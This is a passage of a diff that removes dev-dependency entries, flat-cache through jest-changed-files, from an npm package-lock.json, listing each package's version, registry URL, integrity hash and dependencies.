-      "integrity": "sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==",
-      "dev": true,
-      "requires": {
-        "flatted": "^2.0.0",
-        "rimraf": "2.6.3",
-        "write": "1.0.3"
-      },
-      "dependencies": {
-        "rimraf": {
-          "version": "2.6.3",
-          "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz",
-          "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==",
-          "dev": true,
-          "requires": {
-            "glob": "^7.1.3"
-          }
-        }
-      }
-    },
-    "flatted": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/flatted/-/flatted-2.0.2.tgz",
-      "integrity": "sha512-r5wGx7YeOwNWNlCA0wQ86zKyDLMQr+/RB8xy74M4hTphfmjlijTSSXGuH8rnvKZnfT9i+75zmd8jcKdMR4O6jA==",
-      "dev": true
-    },
-    "for-in": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz",
-      "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=",
-      "dev": true
-    },
-    "forever-agent": {
-      "version": "0.6.1",
-      "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
-      "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=",
-      "dev": true
-    },
-    "form-data": {
-      "version": "2.3.3",
-      "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz",
-      "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==",
-      "dev": true,
-      "requires": {
-        "asynckit": "^0.4.0",
-        "combined-stream": "^1.0.6",
-        "mime-types": "^2.1.12"
-      }
-    },
-    "fragment-cache": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz",
-      "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=",
-      "dev": true,
-      "requires": {
-        "map-cache": "^0.2.2"
-      }
-    },
-    "fs.realpath": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
-      "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=",
-      "dev": true
-    },
-    "fsevents": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.1.3.tgz",
-      "integrity": "sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==",
-      "dev": true,
-      "optional": true
-    },
-    "functional-red-black-tree": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz",
-      "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=",
-      "dev": true
-    },
-    "gensync": {
-      "version": "1.0.0-beta.1",
-      "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.1.tgz",
-      "integrity": "sha512-r8EC6NO1sngH/zdD9fiRDLdcgnbayXah+mLgManTaIZJqEC1MZstmnox8KpnI2/fxQwrp5OpCOYWLp4rBl4Jcg==",
-      "dev": true
-    },
-    "get-caller-file": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
-      "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
-      "dev": true
-    },
-    "get-stdin": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-6.0.0.tgz",
-      "integrity": "sha512-jp4tHawyV7+fkkSKyvjuLZswblUtz+SQKzSWnBbii16BuZksJlU1wuBYXY75r+duh/llF1ur6oNwi+2ZzjKZ7g==",
-      "dev": true
-    },
-    "get-stream": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
-      "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
-      "dev": true,
-      "requires": {
-        "pump": "^3.0.0"
-      }
-    },
-    "get-value": {
-      "version": "2.0.6",
-      "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz",
-      "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=",
-      "dev": true
-    },
-    "getpass": {
-      "version": "0.1.7",
-      "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
-      "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=",
-      "dev": true,
-      "requires": {
-        "assert-plus": "^1.0.0"
-      }
-    },
-    "glob": {
-      "version": "7.1.6",
-      "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz",
-      "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==",
-      "dev": true,
-      "requires": {
-        "fs.realpath": "^1.0.0",
-        "inflight": "^1.0.4",
-        "inherits": "2",
-        "minimatch": "^3.0.4",
-        "once": "^1.3.0",
-        "path-is-absolute": "^1.0.0"
-      }
-    },
-    "glob-parent": {
-      "version": "5.1.1",
-      "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz",
-      "integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==",
-      "dev": true,
-      "requires": {
-        "is-glob": "^4.0.1"
-      }
-    },
-    "globals": {
-      "version": "11.12.0",
-      "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
-      "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==",
-      "dev": true
-    },
-    "graceful-fs": {
-      "version": "4.2.4",
-      "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz",
-      "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==",
-      "dev": true
-    },
-    "growly": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/growly/-/growly-1.3.0.tgz",
-      "integrity": "sha1-8QdIy+dq+WS3yWyTxrzCivEgwIE=",
-      "dev": true,
-      "optional": true
-    },
-    "har-schema": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz",
-      "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=",
-      "dev": true
-    },
-    "har-validator": {
-      "version": "5.1.3",
-      "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
-      "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
-      "dev": true,
-      "requires": {
-        "ajv": "^6.5.5",
-        "har-schema": "^2.0.0"
-      }
-    },
-    "has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "dev": true
-    },
-    "has-value": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz",
-      "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=",
-      "dev": true,
-      "requires": {
-        "get-value": "^2.0.6",
-        "has-values": "^1.0.0",
-        "isobject": "^3.0.0"
-      },
-      "dependencies": {
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        }
-      }
-    },
-    "has-values": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz",
-      "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=",
-      "dev": true,
-      "requires": {
-        "is-number": "^3.0.0",
-        "kind-of": "^4.0.0"
-      },
-      "dependencies": {
-        "is-number": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
-          "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
-          "dev": true,
-          "requires": {
-            "kind-of": "^3.0.2"
-          },
-          "dependencies": {
-            "kind-of": {
-              "version": "3.2.2",
-              "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-              "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-              "dev": true,
-              "requires": {
-                "is-buffer": "^1.1.5"
-              }
-            }
-          }
-        },
-        "kind-of": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz",
-          "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=",
-          "dev": true,
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "hosted-git-info": {
-      "version": "2.8.8",
-      "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.8.tgz",
-      "integrity": "sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==",
-      "dev": true
-    },
-    "html-encoding-sniffer": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz",
-      "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==",
-      "dev": true,
-      "requires": {
-        "whatwg-encoding": "^1.0.5"
-      }
-    },
-    "html-escaper": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz",
-      "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==",
-      "dev": true
-    },
-    "http-signature": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
-      "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=",
-      "dev": true,
-      "requires": {
-        "assert-plus": "^1.0.0",
-        "jsprim": "^1.2.2",
-        "sshpk": "^1.7.0"
-      }
-    },
-    "human-signals": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-1.1.1.tgz",
-      "integrity": "sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==",
-      "dev": true
-    },
-    "iconv-lite": {
-      "version": "0.4.24",
-      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
-      "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
-      "dev": true,
-      "requires": {
-        "safer-buffer": ">= 2.1.2 < 3"
-      }
-    },
-    "ignore": {
-      "version": "4.0.6",
-      "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz",
-      "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==",
-      "dev": true
-    },
-    "import-fresh": {
-      "version": "3.2.1",
-      "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.2.1.tgz",
-      "integrity": "sha512-6e1q1cnWP2RXD9/keSkxHScg508CdXqXWgWBaETNhyuBFz+kUZlKboh+ISK+bU++DmbHimVBrOz/zzPe0sZ3sQ==",
-      "dev": true,
-      "requires": {
-        "parent-module": "^1.0.0",
-        "resolve-from": "^4.0.0"
-      },
-      "dependencies": {
-        "resolve-from": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
-          "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
-          "dev": true
-        }
-      }
-    },
-    "import-local": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.0.2.tgz",
-      "integrity": "sha512-vjL3+w0oulAVZ0hBHnxa/Nm5TAurf9YLQJDhqRZyqb+VKGOB6LU8t9H1Nr5CIo16vh9XfJTOoHwU0B71S557gA==",
-      "dev": true,
-      "requires": {
-        "pkg-dir": "^4.2.0",
-        "resolve-cwd": "^3.0.0"
-      }
-    },
-    "imurmurhash": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
-      "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=",
-      "dev": true
-    },
-    "inflight": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
-      "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=",
-      "dev": true,
-      "requires": {
-        "once": "^1.3.0",
-        "wrappy": "1"
-      }
-    },
-    "inherits": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-      "dev": true
-    },
-    "inquirer": {
-      "version": "7.1.0",
-      "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-7.1.0.tgz",
-      "integrity": "sha512-5fJMWEmikSYu0nv/flMc475MhGbB7TSPd/2IpFV4I4rMklboCH2rQjYY5kKiYGHqUF9gvaambupcJFFG9dvReg==",
-      "dev": true,
-      "requires": {
-        "ansi-escapes": "^4.2.1",
-        "chalk": "^3.0.0",
-        "cli-cursor": "^3.1.0",
-        "cli-width": "^2.0.0",
-        "external-editor": "^3.0.3",
-        "figures": "^3.0.0",
-        "lodash": "^4.17.15",
-        "mute-stream": "0.0.8",
-        "run-async": "^2.4.0",
-        "rxjs": "^6.5.3",
-        "string-width": "^4.1.0",
-        "strip-ansi": "^6.0.0",
-        "through": "^2.3.6"
-      },
-      "dependencies": {
-        "chalk": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
-          "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
-          "dev": true,
-          "requires": {
-            "ansi-styles": "^4.1.0",
-            "supports-color": "^7.1.0"
-          }
-        }
-      }
-    },
-    "ip-regex": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz",
-      "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=",
-      "dev": true
-    },
-    "is-accessor-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
-      "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
-      "dev": true,
-      "requires": {
-        "kind-of": "^3.0.2"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "3.2.2",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-          "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-          "dev": true,
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "is-arrayish": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
-      "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=",
-      "dev": true
-    },
-    "is-buffer": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz",
-      "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==",
-      "dev": true
-    },
-    "is-ci": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz",
-      "integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==",
-      "dev": true,
-      "requires": {
-        "ci-info": "^2.0.0"
-      }
-    },
-    "is-data-descriptor": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
-      "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
-      "dev": true,
-      "requires": {
-        "kind-of": "^3.0.2"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "3.2.2",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-          "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-          "dev": true,
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "is-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
-      "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
-      "dev": true,
-      "requires": {
-        "is-accessor-descriptor": "^0.1.6",
-        "is-data-descriptor": "^0.1.4",
-        "kind-of": "^5.0.0"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "5.1.0",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
-          "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
-          "dev": true
-        }
-      }
-    },
-    "is-docker": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.0.0.tgz",
-      "integrity": "sha512-pJEdRugimx4fBMra5z2/5iRdZ63OhYV0vr0Dwm5+xtW4D1FvRkB8hamMIhnWfyJeDdyr/aa7BDyNbtG38VxgoQ==",
-      "dev": true,
-      "optional": true
-    },
-    "is-extendable": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
-      "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=",
-      "dev": true
-    },
-    "is-extglob": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
-      "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=",
-      "dev": true
-    },
-    "is-fullwidth-code-point": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
-      "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
-      "dev": true
-    },
-    "is-generator-fn": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz",
-      "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==",
-      "dev": true
-    },
-    "is-glob": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
-      "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
-      "dev": true,
-      "requires": {
-        "is-extglob": "^2.1.1"
-      }
-    },
-    "is-number": {
-      "version": "7.0.0",
-      "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
-      "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
-      "dev": true
-    },
-    "is-plain-object": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-3.0.0.tgz",
-      "integrity": "sha512-tZIpofR+P05k8Aocp7UI/2UTa9lTJSebCXpFFoR9aibpokDj/uXBsJ8luUu0tTVYKkMU6URDUuOfJZ7koewXvg==",
-      "dev": true,
-      "requires": {
-        "isobject": "^4.0.0"
-      }
-    },
-    "is-potential-custom-element-name": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.0.tgz",
-      "integrity": "sha1-DFLlS8yjkbssSUsh6GJtczbG45c=",
-      "dev": true
-    },
-    "is-stream": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz",
-      "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=",
-      "dev": true
-    },
-    "is-typedarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
-      "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=",
-      "dev": true
-    },
-    "is-windows": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz",
-      "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==",
-      "dev": true
-    },
-    "is-wsl": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
-      "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==",
-      "dev": true,
-      "optional": true,
-      "requires": {
-        "is-docker": "^2.0.0"
-      }
-    },
-    "isarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-      "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
-      "dev": true
-    },
-    "isexe": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
-      "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=",
-      "dev": true
-    },
-    "isobject": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/isobject/-/isobject-4.0.0.tgz",
-      "integrity": "sha512-S/2fF5wH8SJA/kmwr6HYhK/RI/OkhD84k8ntalo0iJjZikgq1XFvR5M8NPT1x5F7fBwCG3qHfnzeP/Vh/ZxCUA==",
-      "dev": true
-    },
-    "isstream": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
-      "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=",
-      "dev": true
-    },
-    "istanbul-lib-coverage": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.0.0.tgz",
-      "integrity": "sha512-UiUIqxMgRDET6eR+o5HbfRYP1l0hqkWOs7vNxC/mggutCMUIhWMm8gAHb8tHlyfD3/l6rlgNA5cKdDzEAf6hEg==",
-      "dev": true
-    },
-    "istanbul-lib-instrument": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-4.0.3.tgz",
-      "integrity": "sha512-BXgQl9kf4WTCPCCpmFGoJkz/+uhvm7h7PFKUYxh7qarQd3ER33vHG//qaE8eN25l07YqZPpHXU9I09l/RD5aGQ==",
-      "dev": true,
-      "requires": {
-        "@babel/core": "^7.7.5",
-        "@istanbuljs/schema": "^0.1.2",
-        "istanbul-lib-coverage": "^3.0.0",
-        "semver": "^6.3.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "6.3.0",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
-          "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
-          "dev": true
-        }
-      }
-    },
-    "istanbul-lib-report": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
-      "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==",
-      "dev": true,
-      "requires": {
-        "istanbul-lib-coverage": "^3.0.0",
-        "make-dir": "^3.0.0",
-        "supports-color": "^7.1.0"
-      }
-    },
-    "istanbul-lib-source-maps": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.0.tgz",
-      "integrity": "sha512-c16LpFRkR8vQXyHZ5nLpY35JZtzj1PQY1iZmesUbf1FZHbIupcWfjgOXBY9YHkLEQ6puz1u4Dgj6qmU/DisrZg==",
-      "dev": true,
-      "requires": {
-        "debug": "^4.1.1",
-        "istanbul-lib-coverage": "^3.0.0",
-        "source-map": "^0.6.1"
-      }
-    },
-    "istanbul-reports": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.0.2.tgz",
-      "integrity": "sha512-9tZvz7AiR3PEDNGiV9vIouQ/EAcqMXFmkcA1CDFTwOB98OZVDL0PH9glHotf5Ugp6GCOTypfzGWI/OqjWNCRUw==",
-      "dev": true,
-      "requires": {
-        "html-escaper": "^2.0.0",
-        "istanbul-lib-report": "^3.0.0"
-      }
-    },
-    "jest": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest/-/jest-26.0.1.tgz",
-      "integrity": "sha512-29Q54kn5Bm7ZGKIuH2JRmnKl85YRigp0o0asTc6Sb6l2ch1DCXIeZTLLFy9ultJvhkTqbswF5DEx4+RlkmCxWg==",
-      "dev": true,
-      "requires": {
-        "@jest/core": "^26.0.1",
-        "import-local": "^3.0.2",
-        "jest-cli": "^26.0.1"
-      },
-      "dependencies": {
-        "jest-cli": {
-          "version": "26.0.1",
-          "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-26.0.1.tgz",
-          "integrity": "sha512-pFLfSOBcbG9iOZWaMK4Een+tTxi/Wcm34geqZEqrst9cZDkTQ1LZ2CnBrTlHWuYAiTMFr0EQeK52ScyFU8wK+w==",
-          "dev": true,
-          "requires": {
-            "@jest/core": "^26.0.1",
-            "@jest/test-result": "^26.0.1",
-            "@jest/types": "^26.0.1",
-            "chalk": "^4.0.0",
-            "exit": "^0.1.2",
-            "graceful-fs": "^4.2.4",
-            "import-local": "^3.0.2",
-            "is-ci": "^2.0.0",
-            "jest-config": "^26.0.1",
-            "jest-util": "^26.0.1",
-            "jest-validate": "^26.0.1",
-            "prompts": "^2.0.1",
-            "yargs": "^15.3.1"
-          }
-        }
-      }
-    },
-    "jest-changed-files": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-26.0.1.tgz",
-      "integrity": "sha512-q8LP9Sint17HaE2LjxQXL+oYWW/WeeXMPE2+Op9X3mY8IEGFVc14xRxFjUuXUbcPAlDLhtWdIEt59GdQbn76Hw==",
-      "dev": true,
-      "requires": {
-        "@jest/types": "^26.0.1",
-        "execa": "^4.0.0",
-        "throat": "^5.0.0"
-      },
-      "dependencies": {
-        "cross-spawn": {
-          "version": "7.0.2",
-          "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.2.tgz",
